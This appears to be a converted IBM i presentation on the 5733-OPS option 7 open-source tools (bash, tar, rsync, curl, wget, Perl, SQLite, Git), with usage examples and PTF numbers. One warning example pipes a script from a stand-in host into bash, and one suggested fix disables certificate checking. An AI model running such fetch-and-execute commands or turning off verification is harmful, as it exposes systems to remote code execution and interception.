



# Exploring 5733-OPS option 7

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## 5733-OPS product

- Option 1 – Node.JS 2.x
- Option 2 - Python 3.4
- Option 3 – GCC / chroot
- Option 4 – Python 2.7
- Option 5 – Node.JS 4.x
- Option 6 – Git
- Option 7 – Tools
- Option 8 – Orion
- Option 9 – cloud-init
- Option 10 – Node.JS 6.x

<https://www.ibm.com/developerworks/community/wikis/home/wiki/IBM%20i%20Technology%20Updates/page/Open%20Source%20Technologies>



## Disclaimer

- Lots of cool open source stuff in OPS
- Mostly of Unix/Linux origin
- Works best from a TTY terminal, not a 5250 terminal
- Some may be usable from QP2TERM/QSH, albeit with possibly reduced functionality
- Best to use SSH



# Overview

```
-bash-4.3$ npm install lpad  
[.....] - loadRequestedDeps: sill install loadAllDepsIntoIdealTree
```



# Overview

```
-bash-4.3$ npm install lpad
/home/kadler
└─ lpad@2.0.1

npm WARN enoent ENOENT: no such file or directory, open '/home/kadler/package.js
on'
npm WARN kadler No description
npm WARN kadler No repository field.
npm WARN kadler No README data
npm WARN kadler No license field.
-bash-4.3$ █
```



# Overview

```
/QOpenSys/usr/bin/-sh

> npm install lpad
[K [?25h/home/kadler[27m [90m... [0m] / finalize:lpad: [7msill [0m [35mdoS
erial [0m finalize 1 [Kake [Kr/.npm/lpad/ [K
`-- [40m [33mlpad@2.0.1 [39m [49m

[37;40mnpmp [0m [0m [30;43mWARN [0m [0m [35menoent [0m ENOENT: no such file
or directory, open '/home/kadler/package.json'
[0m [37;40mnpmp [0m [0m [30;43mWARN [0m [35m [0m kadler No description
[0m [37;40mnpmp [0m [0m [30;43mWARN [0m [35m [0m kadler No repository field.
[0m [37;40mnpmp [0m [0m [30;43mWARN [0m [35m [0m kadler No README data
[0m [37;40mnpmp [0m [0m [30;43mWARN [0m [35m [0m kadler No license field.
[0m$

===> █

F3=Exit      F6=Print     F9=Retrieve  F11=Truncate/Wrap
F13=Clear    F17=Top     F18=Bottom   F21=CL command entry

5250                      MW                      007/018
```



# Overview





# Bash





# Bash

- Bourne Again Shell – punny replacement for the original Bourne Shell
- GNU software nearly 30 years old
- Feature-rich shell with support for many “bashisms”
- Default shell on
  - nearly every Linux distribution
  - macOS/Mac OS X since 10.3
  - Cygwin
  - Windows Subsystem for Linux (Bash for Windows)\*
  - GNU/HURD
- Alternative to the PASE shells ksh, bsh, csh\*
- <https://www.gnu.org/software/bash/>
- PTF is **SI64092**



## Bash (tab) completion

- support automatic completion of the next element by pressing TAB

# file & directory completion

```
-bash-4.3$ ls /Q0p[TAB]
```



## Bash (tab) completion

- support automatic completion of the next element by pressing TAB

# file & directory completion

```
-bash-4.3$ ls /QOpenSys/
```



## Bash (tab) completion

- support automatic completion of the next element by pressing TAB

# file & directory completion

```
-bash-4.3$ ls /QOpenSys/
```

# executable completion

```
-bash-4.3$ ./sam[TAB]
```



## Bash (tab) completion

- support automatic completion of the next element by pressing TAB

```
# file & directory completion
```

```
-bash-4.3$ ls /QOpenSys/
```

```
# executable completion
```

```
-bash-4.3$ ./sample.py
```



## Bash (tab) completion

- Bash completion is programmable – you can add your own completions!
- Community collection available here:  
<https://github.com/scop/bash-completion>



## Bash (Readline) shortcuts

- Bash uses GNU Readline to handle input buffering/editing
- Readline supports many shortcut keys
  - Ctrl+a / Home – goes to the beginning of the line
  - Ctrl+e / End – goes to the end of the line
  - Ctrl+w – clears the previous word/token
  - Alt+d – clears the next word/token
  - Ctrl+k – clear the line after the cursor and copy to clipboard
  - Ctrl-u – clear the line before the cursor and copy to clipboard
  - **Ctrl-r – reverse search through history**

[https://en.wikipedia.org/wiki/GNU\\_Readline#Emacs\\_keyboard\\_shortcuts](https://en.wikipedia.org/wiki/GNU_Readline#Emacs_keyboard_shortcuts)



## Readline trick

- Readline can be configured with `~/.inputrc` or `/QOpenSys/etc/inputrc`

```
$if mode=emacs
# mappings for per-word moving with
# Ctrl-left-arrow and Ctrl-right-arrow
"\e[1;5C": forward-word
"\e[1;5D": backward-word
"\e[5C": forward-word
"\e[5D": backward-word
"\e\e[C": forward-word
"\e\e[D": backward-word
$endif
```





# Bash-it

- Community project to collect Bash scripts/customizations
- <https://github.com/Bash-it/bash-it>
- Bash equivalent to ZSH project Oh My Zsh

```
2017-04-21 14:49:27 🕒 kadler in ~/projects/python-examples
± |bottle-example ✓| → touch new_file
```

```
2017-04-21 14:49:34 🕒 kadler in ~/projects/python-examples
± |bottle-example ? :1 ✗| → git add new_file
```

```
2017-04-21 14:49:50 🕒 kadler in ~/projects/python-examples
± |bottle-example S :1 ✗| → git commit -m 'dummy commit'
[bottle-example 8ca2a43] dummy commit
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 new_file
```

```
2017-04-21 14:49:56 🕒 kadler in ~/projects/python-examples
± |bottle-example ↑1 ✓| →
```



# Accessing the Tools

- Where are they?
  - Everything under `/QOpenSys/QIBM/ProdData/OPS/tools`

- Fully qualify path to program

```
$ /QOpenSys/QIBM/ProdData/OPS/tools/bin/bash
```

- Append tools path to PATH variable (use PASE versions first)

```
$ PATH=$PATH:/QOpenSys/QIBM/ProdData/OPS/tools/bin
$ bash
```

- Prepend tools path to PATH variable (use tools versions first)

```
$ PATH=/QOpenSys/QIBM/ProdData/OPS/tools/bin:$PATH
$ bash
```

- Set it and forget it! Add to your `.profile`

```
echo 'PATH=/QOpenSys/QIBM/ProdData/OPS/tools/bin:$PATH' \  
>> $HOME/.profile
```



## Set It and Forget It Part 2: Bash as Your Shell

- New support for per-user shell added
- 7.3 SF99703 Level 4, 7.2 SF99702 Level 16, 7.1 SF99701 Level 42
- 7.3 MF63565, 7.2 MF63566, 7.1 MF63567
- For more information, see the documentation pages:
  - <http://ibm.biz/set-pase-shell>
  - <http://ibm.biz/user-info>

```
-- Set your shell
CALL QSYS2.SET_PASE_SHELL_INFO ('*CURRENT',
                                '/QOpenSys/QIBM/ProdData/OPS/tools/bin/bash');

-- set default shell for all users (need *SECOFR)
CALL QSYS2.SET_PASE_SHELL_INFO ('*DEFAULT',
                                '/QOpenSys/QIBM/ProdData/OPS/tools/bin/bash');
```



# GNU tar



## GNU tar

- GNU version of the tar command (**t**ape **a**rchive)
- Used to read or write compressed or uncompressed tarballs (.tar or .tar.gz/.tar.xz/...)
- Compressed tars are commonly used to distribute software on Unix-like platforms
- Same syntax as the traditional UNIX command
- Many additional features compared to traditional UNIX versions
- <https://www.gnu.org/software/tar/>
- PTF is **SI62336**



## GNU tar and Long File Names

- POSIX tar format limited to 100 or 256 byte file names
- GNU tar-specific extension supports longer names
- If you see this message, you need GNU tar to properly extract:

```
tar: ././@LongLink: typeflag 'L' not recognized,  
converting to regular file
```



## Basic tar examples

```
# create backup.tar from myfolder's contents  
tar -c -f backup.tar myfolder/
```

```
# options can be combined  
tar -cf backup.tar myfolder/
```

```
# extract backup.tar to current directory  
tar -xf backup.tar
```

```
# list contents of backup.tar  
tar -tf backup.tar  
myfolder  
myfolder/myfile.txt
```



## GNU tar and Compression

```
# Automatically decompress gzipped archives...
```

```
tar -xzf backup.tar.gz
```

```
# or bzip2 compressed archives...
```

```
tar -zjf backup.tar.bz2
```

```
# or xz compressed archives...
```

```
tar -xJf backup.tar.xz
```

```
# or just let it figure it out from the suffix
```

```
tar -xf backup.tar.gz
```

```
# equivalent with PASE tar
```

```
gzip -dc backup.tar.gz | tar -xf -
```





## GNU tar and Compression

# Automatically compress gzipped archives...

```
tar -czf backup.tar.gz myfolder/
```

# or bzip2 compressed archives...

```
tar -cjf backup.tar.bz2 myfolder/
```

# or xz compressed archives...

```
tar -cJf backup.tar.xz myfolder/
```

# or just let it figure it out from the suffix

```
tar -cf backup.tar.gz myfolder/
```

# equivalent with PASE tar

```
tar -cf backup.tar myfolder/; gzip backup.tar
```



# Compression Tools



# Compression Tools

We now ship the following compression tools:

- gzip – <https://www.gnu.org/software/gzip/>
  - GNU zip / gzip (not related to PK-ZIP .zip files)
  - standard “universal” open source compressor
  - extension is .gz
  - PTF is **SI62331**
- bzip2 – <http://www.bzip.org/>
  - more efficient than the older gzip
  - slower to compress, but faster to decompress
  - extension is .bz2
  - PTF is **SI62411**
- xz – <https://tukaani.org/xz/>
  - even more efficient than bzip2, but uses slightly more memory
  - extension is .xz
  - PTF is **SI62334**



## Zip File Handling

- Command line zip and unzip utilities
- No more having to use `jar` to create or extract zip files!
- <http://www.info-zip.org/>
- zip PTF is **SI63665**
- unzip PTF is **SI61064**



## Zip and Unzip examples

```
# create a zip archive from a file  
zip myfile.zip myfile
```

```
# create a zip archive from a directory  
zip -r myfolder.zip myfolder/
```

```
# add a file to an existing zip archive  
zip myfolder.zip myfile
```

```
# extract a zip archive  
unzip myfolder.zip
```

```
# show contents of zip archive  
unzip -l myfolder.zip
```



# rsync



## rsync

- Fast and versatile remote (and local) copying tool
- By default only transfers files whose modification times or sizes differ
- Uses a novel method to transfer only file deltas to speed up transfer
- Can be used to sync local directories or between a local and remote
- Can also be used as a remote transfer utility, ie. replace ftp or scp
- *NOTE: To transfer remotely, you must have rsync installed on both systems*
- <https://rsync.samba.org/>
- PTF is **SI63268**



## rsync Examples

```
# sync two folders, note the slash (important)
```

```
$ rsync -r src/ dst
```

```
# sync two folders and delete removed files
```

```
$ rsync -r --delete src/ dst
```

```
# sync local directory to remote directory
```

```
# this uses SSH to connect
```

```
$ rsync -r src/ user@system:dst
```





## rsync options

- rsync is a powerful and somewhat complicated tool
- Lots of switches and options:
  - -r, recurse in to subdirectories
  - -l, copy symlinks as symlinks
  - -t, preserve modification times
  - -g and -o, preserve group and user ownership
  - -P, show progress while transferring
- Usually best to use -a (archive), equivalent to -rlptgoD
- Use --exclude to exclude files from the sync
- May want to use -delete if you want to remove deleted files on the destination
- Use -n, --dry-run to see what rsync would do without actually doing it



## rsync Incremental Backup

```
# create full backup from src to dst  
$ rsync -a --delete src/ dst_full
```

```
# create Monday's incremental backup  
$ rsync -a --delete --link-dest=dst_full src/ \  
dst_mon
```

```
# create Tuesday's incremental backup  
$ rsync -a --delete --link-dest=dst_full src/ \  
dst_tue
```



## rsync Incremental Backup

```
$ find dst_full dst_mon dst_tue -type f  
dst_full/myfile  
dst_mon/myfile  
dst_tue/myfile
```

```
ls -l dst_full/* dst_mon/* dst_tue/*  
-rw-r--r-- 3 kadler 0 0 Apr 26 13:27 dst_full/myfile  
-rw-r--r-- 3 kadler 0 0 Apr 26 13:27 dst_mon/myfile  
-rw-r--r-- 3 kadler 0 0 Apr 26 13:27 dst_tue/myfile
```



# curl and wget



## curl and wget

- command-line URL downloaders
- Most immediate difference
  - curl dumps contents of URL to stdout, while wget downloads to a file
  - both support both modes, however
- wget supports standard HTTP, HTTPS, and FTP protocols
- curl supports those, plus tons more
  - IMAP, POP3, SMTP
  - LDAP
  - FTPS/SFTP
  - TELNET/TFTP
  - even Gopher!
- curl also builds a libcurl library, used by other software
- <https://curl.haxx.se/>
- <https://www.gnu.org/software/wget/>
- curl PTF is **SI63905**
- wget PTF is **SI63051**



## curl and wget Examples

```
# Download python examples
```

```
$ wget https://github.com/Club-Seiden/python-for-IBM-i-examples/archive/master.zip
```

```
$ curl -o master.zip https://github.com/Club-Seiden/python-for-IBM-i-examples/archive/master.zip
```

```
# let anyone hack your computer
```

```
# http://ibm.biz/never-ever-do-this
```

```
$ curl http://innocent.examp.le/script.sh | bash
```



## Using curl as a Web Browser

```
# Automate changing password on web site
```

```
$ curl --data \  
      'user=user&oldpwd=secr3t&newpwd=priv4te' \  
      https://example.com/changepassword
```

```
# Error: You must be logged in first...
```



## Using curl as a Web Browser

```
# Log in to site, saving session id cookie
```

```
$ curl --cookie cookies --cookie-jar cookies \  
      --data 'user=user&pwd=secr3t' \  
      https://example.com/login
```

```
# Once logged in, change the password
```

```
$ curl --cookie cookies --cookie-jar cookies \  
      --data \  
      'user=user&oldpwd=secr3t&newpwd=priv4te' \  
      https://example.com/changepassword
```

- Much more available: <https://curl.haxx.se/docs/httpscripting.html>





# Curl Integration with Firefox

The screenshot shows the Firefox Developer Tools Network tab. A context menu is open over a POST request to the root path of postcalc.usps.com. The menu options are:

- Copy URL
- Copy POST Data
- Copy as cURL
- Copy Request Headers
- Copy Response Headers
- Copy All As HAR
- Save All As HAR
- Edit and Resend
- Open in New Tab
- Start Performance Analysis...

Status	Method	File	Domain
302	POST	/	postcalc.usps.com
200	GET	MailServices?countryID=0&countryCode=US&origin=55901&isO...	postcalc.usps.com
200	GET	bootstrap.css	postcalc.usps.com
200	GET	site-010000.css	postcalc.usps.com
200	GET	modernizr-2.8.3.js	postcalc.usps.com
200	GET	calculator-1.0.1.js	postcalc.usps.com
200	GET	ajax-loader.gif	postcalc.usps.com
200	GET	jquery-2.2.4.js	postcalc.usps.com
200	GET	bootstrap.js	postcalc.usps.com
200	GET	logo-sb.png	postcalc.usps.com
200	GET	logo-usps-foo	postcalc.usps.com
200	GET	hdr_bkg.png	postcalc.usps.com
200	GET	sprite-social-media.png	postcalc.usps.com
200	GET	GetMailServices?countryID=0&countryCode=US&origin=55901&isO...	postcalc.usps.com
200	GET	PriorityMailExpressFlatRateEnvelope.jpg	postcalc.usps.com
200	GET	PriorityMailExpressLegalFlatRateEnvelope.jpg	postcalc.usps.com

# Ok, Curl – What's the weather like in Orlando?

```
$ curl http://wttr.in/Orlando
```

```
2017-04-21 21:38:00 @ kadler in ~
o → curl http://wttr.in/Orlando
Weather report: Orlando, United States of America

  \  /      Clear
  .-.      73 - 77 °F
 - ( ) -    ← 8 mph
  /  \      9 mi
           0.0 in
```

Fri 21 Apr			
Morning	Noon	Evening	Night
<pre>  \  /      Sunny   .-.      68 - 69 °F  - ( ) -    κ 0 - 4 mph   /  \      12 mi            0.0 in   0%</pre>	<pre> _/"".-.    Light rain sho...  ,\_ ( ) .    82 °F  / (___)___ κ 5 - 9 mph            12 mi            ☂ ☂ ☂ ☂ 0.0 in   25%</pre>	<pre>  \  /      Sunny   .-.      84 °F  - ( ) -    ← 11 - 16 mph   /  \      12 mi            0.1 in   19%</pre>	<pre>  \  /      Clear   .-.      78 - 82 °F  - ( ) -    ← 11 - 18 mph   /  \      12 mi            0.0 in   0%</pre>
Sat 22 Apr			
Morning	Noon	Evening	Night
<pre> .-.      Light drizzle  ( ) .    71 - 73 °F  (___)___ κ 6 - 7 mph            12 mi            ☂ ☂ ☂ ☂ 0.0 in   26%</pre>	<pre> _/"".-.    Patchy light d...  ,\_ ( ) .    82 °F  / (___)___ κ 9 mph            11 mi            ☂ ☂ ☂ ☂ 0.0 in   46%</pre>	<pre> _/"".-.    Patchy rain po...  ,\_ ( ) .    86 - 87 °F  / (___)___ κ 9 - 16 mph            11 mi            ☂ ☂ ☂ ☂ 0.0 in   51%</pre>	<pre>  \  /      Partly cloudy  _/"".-.    78 - 84 °F   \_ ( ) .    κ 10 - 21 mph  / (___)___ 12 mi            0.0 in   21%</pre>
Sun 23 Apr			
Morning	Noon	Evening	Night
<pre>  \  /      Partly cloudy  _/"".-.    71 - 73 °F   \_ ( ) .    κ 6 mph  / (___)___ 11 mi            0.0 in   50%</pre>	<pre> .-.      Patchy light r...  ( ) .    80 - 84 °F  (___)___ κ 6 mph            11 mi            ☂ ☂ ☂ ☂ 0.0 in   44%</pre>	<pre> _/"".-.    Moderate or he...  ,\_ ( ) .    80 - 84 °F  / (___)___ κ 7 - 9 mph            10 mi            ☂ ☂ ☂ ☂ ☂ ☂ ☂ ☂ 0.1 in   100%</pre>	<pre>  \  /      Clear   .-.      77 °F  - ( ) -    κ 7 - 14 mph   /  \      11 mi            0.1 in   66%</pre>





## SSL, Grumble, Grumble...

```
-bash-4.4$ wget https://www.google.com
--2017-04-24 20:03:59-- https://www.google.com/
Resolving www.google.com... 173.194.219.104,
173.194.219.99, 173.194.219.103, ...
Connecting to www.google.com|173.194.219.104|:443...
connected.
ERROR: cannot verify www.google.com's certificate, issued
by 'CN=Google Internet Authority G2,O=Google Inc,C=US':
Unable to locally verify the issuer's authority.
To connect to www.google.com insecurely, use `--no-check-
certificate'.
```

```
-bash-4.4$ curl https://www.google.com
curl: (60) SSL certificate problem: unable to get local
issuer certificate
More details here: https://curl.haxx.se/docs/sslcerts.html
```



## Fixing SSL Certificate Issues

- Don't check certificates
  - `curl --insecure https://www.google.com`
  - `wget --no-check-certificate https://www.google.com`
- Copy the certificates from somewhere else
  - Most Linux systems ship Mozilla's certificates
  - Copy .pem and .0 files from /etc/ssl/certs on Linux to
    - 7.2 and 7.3: /QOpenSys/QIBM/ProdData/SC1/OpenSSL/certs
    - 7.1: /QOpenSys/QIBM/ProdData/SC1/OpenSSL/openssl-0.9.8j/certs
- Download and install Mozilla's certs directly (coming soon)
  - /QOpenSys/QIBM/ProdData/OPS/tools/bin/fetch-certificates



## Fixing SSL Certificate Issues

```
# Copy pem/crt files/links as files (-L)
$ rsync -rLptv --include={'*.pem','*.crt'} \
  --exclude='*' \
  linux:/etc/ssl/certs/ \
  /QOpenSys/QIBM/ProdData/SC1/OpenSSL/certs

# Copy hashes as links (-l)
$ rsync -rlptv --include='*.[0-9]' --exclude='*' \
  linux:/etc/ssl/certs/ \
  /QOpenSys/QIBM/ProdData/SC1/OpenSSL/certs
```



# Perl



# Perl

- De facto scripting/programming language for Unix environments
- “the Swiss Army chainsaw of scripting languages”
- Used by many tools
  - zipdetails
  - git
    - git add -p/--interactive
    - git difftool
    - git svn
  - needed to build OpenSSL
  - Autoconf/Automake/Libtool (Autotools)
- <https://www.perl.org/>
- PTF is **SI62570**





## Perl

```
# Use Perl as sed -i replacement  
perl -p -i -e 's/bad/good/g' myfile
```

```
# Change CRLF (Windows) line endings to LF (Unix)  
perl -p -i -e 's/\r\n/\n/g' myfile
```

```
# print lines between START and END to stdout  
perl -ne 'print if /^START$/ .. /^END$/' myfile
```

More Perl one-liners:

<http://www.math.harvard.edu/computing/perl/oneliners.txt>



# SQLite



## SQLite

- Popular open source embedded database
- Very light and simple database for small projects or testing
- Many existing open source applications support it
- Used by Python sqlite3 module
- <http://www.sqlite.org/>
- PTF is **SI63270**



## Extending SQLite with Python Functions

```
import sqlite3
```

```
def usd_to_cad(usd):  
    return round(usd * 1.36, 2)
```

```
conn = sqlite3.connect('my.db')  
c = conn.cursor()
```

```
#             name, num_params, func  
conn.create_function('u2c', 1, usd_to_cad)
```

<https://docs.python.org/3/library/sqlite3.html>



## Extending SQLite with Python Functions

```
c.execute("select * from mytable")
print(*c.fetchall(), sep="\n")
# movie, gross ($M USD)
# ('Gone with the Wind', 3.44)
# ('Avatar', 3.02)
# ('Star Wars', 2.85)
```

```
c.execute("select movie, u2c(gross) from mytable")
print(*c.fetchall(), sep="\n")
# movie, gross ($M CAD)
# ('Gone with the Wind', 4.68)
# ('Avatar', 4.11)
# ('Star Wars', 3.88)
```



# Git



## Git

- Open source version control system
- Actually in 5733-OPS option 6, not 7
- Still lives under ProdData/OPS/tools
- <https://git-scm.com/>
- PTF is **SI63502**



## Git example

```
# fib.py
# return n-th element of the fibonacci sequence
def fib(n):
    if n == 0:
        return 0
    elif n == 1
        return 1
    else:
        return fib(n-2) + fib(n-1)

print(fib(5))
```





## Git example

```
$ git add -p fib.py
diff --git a/fib.py b/fib.py
index 2d81aac..b1d4568 100644
--- a/fib.py
+++ b/fib.py
@@ -1,8 +1,8 @@
-# retur n-th element of the fibonacci sequence
+# return n-th element of the fibonacci sequence
def fib(n):
    if n == 0:
        return 0
-   elif n == 1
+   elif n == 1:
        return 1
    else:
        return fib(n-2) + fib(n-1)
Stage this hunk [y,n,q,a,d,/,s,e,?]? s
```



## Git example

Split into 2 hunks.

```
@@ -1,4 +1,4 @@
```

```
-# return n-th element of the fibonacci sequence
```

```
+# return n-th element of the fibonacci sequence
```

```
def fib(n):
```

```
    if n == 0:
```

```
        return 0
```

```
Stage this hunk [y,n,q,a,d/,j,J,g,e,?]? n
```



## Git example

```
@@ -2,7 +2,7 @@
```

```
def fib(n):
```

```
    if n == 0:
```

```
        return 0
```

```
-     elif n == 1
```

```
+     elif n == 1:
```

```
        return 1
```

```
    else:
```

```
        return fib(n-2) + fib(n-1)
```

```
Stage this hunk [y,n,q,a,d,/,K,g,e,?]? y
```



## Git example

```
$ git diff -cached
diff --git a/fib.py b/fib.py
index 2d81aac..a54dd7f 100644
--- a/fib.py
+++ b/fib.py
@@ -2,7 +2,7 @@
 def fib(n):
     if n == 0:
         return 0
-    elif n == 1
+    elif n == 1:
         return 1
     else:
         return fib(n-2) + fib(n-1)
```



## Git example

```
$ git diff
diff --git a/fib.py b/fib.py
index a54dd7f..b1d4568 100644
--- a/fib.py
+++ b/fib.py
@@ -1,4 +1,4 @@
-# return n-th element of the fibonacci sequence
+# return n-th element of the fibonacci sequence
def fib(n):
    if n == 0:
        return 0
```



# Libraries



# Libraries

- Open source libraries being shipped now, too!
- Why? Makes it easier to build Python and Node extensions!
- Which ones?
  - libfreetype
  - libxml2
  - libxslt
  - libpng
  - pcre
  - libjpeg



## Libraries

- Without libjpeg, installing Pillow

```
$ wget https://pypi.python.org/Pillow-3.2.0.tar.gz
```

```
$ tar -xzf Pillow-3.2.0
```

```
$ cd Pillow-3.2.0
```

```
$ python3 setup.py build_ext --disable-jpeg
```

```
$ python3 setup.py build_ext --disable-jpeg
```

```
install
```

- With libjpeg, installing Pillow

```
$ pip3 install pillow
```





# Future?



## Future

- Have a tool you think IBM should deliver?
- Open an RFE!
- [https://www.ibm.com/developerworks/rfe/execute?use\\_case=submitRfe](https://www.ibm.com/developerworks/rfe/execute?use_case=submitRfe)

**Product: \***

IBM i

**Brand:**

Servers and Systems Software

**Product family:**

Power Systems

**Component:\***

Open Source, PASE



**Operating system:\***

IBM i

**Source:**

None





## PTFs

- Lots of PTFs throughout this presentation
- Go here for latest Option 7 PTFs: <http://ibm.biz/opstools>
- Or just get the latest Open Source Group: <http://ibm.biz/ibmiops>



# Questions?



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